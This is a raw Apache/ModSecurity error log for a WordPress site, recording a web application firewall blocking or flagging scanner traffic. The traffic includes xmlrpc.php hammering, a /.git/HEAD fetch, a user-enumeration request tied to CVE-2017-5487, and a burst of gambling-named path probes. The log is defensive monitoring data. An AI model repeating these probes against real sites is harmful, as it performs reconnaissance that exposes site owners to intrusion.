[Wed May 13 00:48:45.557951 2026] [autoindex:error] [pid 39956:tid 39968] [client 141.98.11.120:62655] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed May 13 01:39:04.851989 2026] [:error] [pid 39958:tid 40025] [client 43.156.114.184:46050] [client 43.156.114.184] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agNluOVI9FVDxXB2XxiVdgAAAIY"]
[Wed May 13 02:18:56.525343 2026] [:error] [pid 21242:tid 21270] [client 106.219.172.34:29729] [client 106.219.172.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.172.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agNvEMzeh8JWZob6PnJRpgAAAZg"]
[Wed May 13 02:19:37.411651 2026] [:error] [pid 40061:tid 40072] [client 106.219.172.34:12440] [client 106.219.172.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.172.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agNvObycIKt8hxHMBYskXgAAAMk"]
[Wed May 13 02:20:07.752352 2026] [:error] [pid 21242:tid 21267] [client 106.219.172.34:14409] [client 106.219.172.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.172.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agNvV8zeh8JWZob6PnJSJQAAAZU"]
[Wed May 13 02:20:39.701367 2026] [:error] [pid 42143:tid 42170] [client 106.219.172.34:14688] [client 106.219.172.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.172.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agNvd0S2WmK92iCO2L1aiwAAAVc"]
[Wed May 13 02:21:05.636456 2026] [:error] [pid 39957:tid 40002] [client 106.219.172.34:1638] [client 106.219.172.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.172.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agNvkeAfHHyq0DBh5BKwMgAAAEo"]
[Wed May 13 02:24:01.003225 2026] [:error] [pid 21242:tid 21268] [client 45.3.40.11:44803] [client 45.3.40.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/HEAD"] [unique_id "agNwQczeh8JWZob6PnJT2QAAAZY"]
[Wed May 13 02:33:32.460666 2026] [:error] [pid 39957:tid 39994] [client 43.159.132.207:55692] [client 43.159.132.207] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agNyfOAfHHyq0DBh5BKxrwAAAEI"]
[Wed May 13 03:22:21.738893 2026] [:error] [pid 39957:tid 40000] [client 5.107.202.70:59823] [client 5.107.202.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.107.202.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agN97eAfHHyq0DBh5BK49wAAAEg"]
[Wed May 13 03:22:32.781472 2026] [:error] [pid 39957:tid 39998] [client 5.107.202.70:60278] [client 5.107.202.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.107.202.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agN9-OAfHHyq0DBh5BK5HwAAAEY"]
[Wed May 13 03:22:42.774427 2026] [:error] [pid 55559:tid 55629] [client 5.107.202.70:60722] [client 5.107.202.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.107.202.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agN-Atj0hVMLJAOI_fzfogAAAQs"]
[Wed May 13 03:22:53.043358 2026] [:error] [pid 55559:tid 55634] [client 5.107.202.70:61066] [client 5.107.202.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.107.202.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agN-Ddj0hVMLJAOI_fzfpwAAAQ8"]
[Wed May 13 03:23:03.656811 2026] [:error] [pid 39957:tid 39998] [client 5.107.202.70:61432] [client 5.107.202.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.107.202.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agN-F-AfHHyq0DBh5BK5MwAAAEY"]
[Wed May 13 04:35:15.479918 2026] [:error] [pid 23887:tid 23907] [client 31.191.109.216:64217] [client 31.191.109.216] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "agOPA9SKmvZJZkXBFDDdRQAAAMw"]
[Wed May 13 04:35:46.023609 2026] [:error] [pid 23787:tid 23854] [client 31.191.109.216:64731] [client 31.191.109.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.191.109.216, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agOPIh1cs5wE7VT6wiqOJgAAAIY"]
[Wed May 13 04:36:26.672422 2026] [:error] [pid 23887:tid 23896] [client 31.191.109.216:56124] [client 31.191.109.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.191.109.216, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agOPStSKmvZJZkXBFDDdhQAAAME"]
[Wed May 13 04:37:00.879370 2026] [:error] [pid 23782:tid 23822] [client 31.191.109.216:56734] [client 31.191.109.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.191.109.216, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agOPbCBrKFYHXUGnR-pouAAAAEE"]
[Wed May 13 04:37:38.479730 2026] [:error] [pid 23887:tid 23917] [client 31.191.109.216:63402] [client 31.191.109.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.191.109.216, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agOPktSKmvZJZkXBFDDeDAAAANY"]
[Wed May 13 04:38:13.928577 2026] [:error] [pid 23787:tid 23871] [client 31.191.109.216:56348] [client 31.191.109.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.191.109.216, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agOPtR1cs5wE7VT6wiqO4AAAAJc"]
[Wed May 13 04:43:27.316885 2026] [:error] [pid 23887:tid 23909] [client 65.108.78.33:14904] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "agOQ79SKmvZJZkXBFDDfQwAAAM4"]
[Wed May 13 04:43:29.478179 2026] [:error] [pid 23782:tid 23832] [client 65.108.78.33:14916] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "agOQ8SBrKFYHXUGnR-pptgAAAEs"]
[Wed May 13 04:43:31.578554 2026] [:error] [pid 23782:tid 23823] [client 65.108.78.33:14932] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "agOQ8yBrKFYHXUGnR-pptwAAAEI"]
[Wed May 13 04:43:33.783247 2026] [:error] [pid 23787:tid 23858] [client 65.108.78.33:32402] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "agOQ9R1cs5wE7VT6wiqP-gAAAIo"]
[Wed May 13 04:43:35.946657 2026] [:error] [pid 23787:tid 23848] [client 65.108.78.33:32418] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "agOQ9x1cs5wE7VT6wiqP_QAAAIA"]
[Wed May 13 04:43:37.990921 2026] [:error] [pid 23780:tid 23794] [client 65.108.78.33:32420] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "agOQ-XXgOibPjrXgeTA3rQAAAAA"]
[Wed May 13 04:43:40.263550 2026] [:error] [pid 23782:tid 23822] [client 65.108.78.33:32430] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "agOQ_CBrKFYHXUGnR-ppuwAAAEE"]
[Wed May 13 04:43:42.416554 2026] [:error] [pid 3259:tid 3274] [client 65.108.78.33:2602] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "agOQ_uWJB4YwcPVLeAplkAAAAQ0"]
[Wed May 13 04:43:44.427571 2026] [:error] [pid 3259:tid 3277] [client 65.108.78.33:2616] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "agORAOWJB4YwcPVLeApllAAAARA"]
[Wed May 13 04:43:46.506645 2026] [:error] [pid 23782:tid 23827] [client 65.108.78.33:2620] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "agORAiBrKFYHXUGnR-ppvQAAAEY"]
[Wed May 13 04:43:48.568075 2026] [:error] [pid 23887:tid 23899] [client 65.108.78.33:2628] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "agORBNSKmvZJZkXBFDDfVAAAAMQ"]
[Wed May 13 04:43:50.547517 2026] [:error] [pid 23780:tid 23805] [client 65.108.78.33:2640] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "agORBnXgOibPjrXgeTA3sQAAAAs"]
[Wed May 13 04:43:52.550408 2026] [:error] [pid 23780:tid 23804] [client 65.108.78.33:65238] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "agORCHXgOibPjrXgeTA3sgAAAAo"]
[Wed May 13 04:43:54.610813 2026] [:error] [pid 3259:tid 3280] [client 65.108.78.33:65250] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "agORCuWJB4YwcPVLeAplnQAAARM"]
[Wed May 13 04:43:56.707817 2026] [:error] [pid 23780:tid 23808] [client 65.108.78.33:65266] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "agORDHXgOibPjrXgeTA3swAAAA4"]
[Wed May 13 04:43:58.704454 2026] [:error] [pid 23782:tid 23823] [client 65.108.78.33:65268] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "agORDiBrKFYHXUGnR-ppwAAAAEI"]
[Wed May 13 04:44:00.692610 2026] [:error] [pid 23782:tid 23845] [client 65.108.78.33:65280] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "agORECBrKFYHXUGnR-ppwwAAAFg"]
[Wed May 13 04:44:02.763597 2026] [:error] [pid 23780:tid 23817] [client 65.108.78.33:3492] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "agOREnXgOibPjrXgeTA3tQAAABc"]
[Wed May 13 04:44:04.779543 2026] [:error] [pid 23887:tid 23903] [client 65.108.78.33:3500] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "agORFNSKmvZJZkXBFDDfVwAAAMg"]
[Wed May 13 04:44:06.659251 2026] [:error] [pid 23782:tid 23844] [client 65.108.78.33:3512] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "agORFiBrKFYHXUGnR-ppxQAAAFc"]
[Wed May 13 04:44:08.651057 2026] [:error] [pid 23787:tid 23869] [client 65.108.78.33:3526] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "agORGB1cs5wE7VT6wiqQDQAAAJU"]
[Wed May 13 04:44:10.696931 2026] [:error] [pid 3259:tid 3265] [client 65.108.78.33:3536] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "agORGuWJB4YwcPVLeAplqgAAAQQ"]
[Wed May 13 04:44:12.756969 2026] [:error] [pid 23782:tid 23826] [client 65.108.78.33:28916] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "agORHCBrKFYHXUGnR-ppyQAAAEU"]
[Wed May 13 04:44:14.912372 2026] [:error] [pid 3259:tid 3285] [client 65.108.78.33:28930] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "agORHuWJB4YwcPVLeAplsQAAARg"]
[Wed May 13 04:44:16.937554 2026] [:error] [pid 23787:tid 23850] [client 65.108.78.33:28946] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "agORIB1cs5wE7VT6wiqQFgAAAII"]
[Wed May 13 04:44:19.079467 2026] [:error] [pid 3259:tid 3272] [client 65.108.78.33:28980] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "agORI-WJB4YwcPVLeApltgAAAQs"]
[Wed May 13 04:44:21.175989 2026] [:error] [pid 23887:tid 23917] [client 65.108.78.33:29008] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "agORJdSKmvZJZkXBFDDfXAAAANY"]
[Wed May 13 04:45:05.107001 2026] [:error] [pid 3259:tid 3279] [client 65.108.78.33:12000] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "agORUeWJB4YwcPVLeApmEAAAARI"]
[Wed May 13 04:45:07.096858 2026] [:error] [pid 23780:tid 23806] [client 65.108.78.33:12010] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "agORU3XgOibPjrXgeTA3zwAAAAw"]
[Wed May 13 04:45:09.158718 2026] [:error] [pid 23787:tid 23857] [client 65.108.78.33:12012] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "agORVR1cs5wE7VT6wiqQUAAAAIk"]
[Wed May 13 04:45:11.166961 2026] [:error] [pid 23887:tid 23917] [client 65.108.78.33:12018] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "agORV9SKmvZJZkXBFDDfpAAAANY"]
[Wed May 13 04:45:13.156702 2026] [:error] [pid 23887:tid 23908] [client 65.108.78.33:50934] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "agORWdSKmvZJZkXBFDDfpQAAAM0"]
[Wed May 13 04:45:15.157508 2026] [:error] [pid 3259:tid 3279] [client 65.108.78.33:50944] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "agORW-WJB4YwcPVLeApmGAAAARI"]
[Wed May 13 04:45:17.085572 2026] [:error] [pid 3259:tid 3281] [client 65.108.78.33:50952] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "agORXeWJB4YwcPVLeApmHAAAARQ"]
[Wed May 13 04:45:19.171886 2026] [:error] [pid 3259:tid 3275] [client 65.108.78.33:50954] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "agORX-WJB4YwcPVLeApmIwAAAQ4"]
[Wed May 13 04:45:21.249031 2026] [:error] [pid 3259:tid 3261] [client 65.108.78.33:50968] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "agORYeWJB4YwcPVLeApmJgAAAQA"]
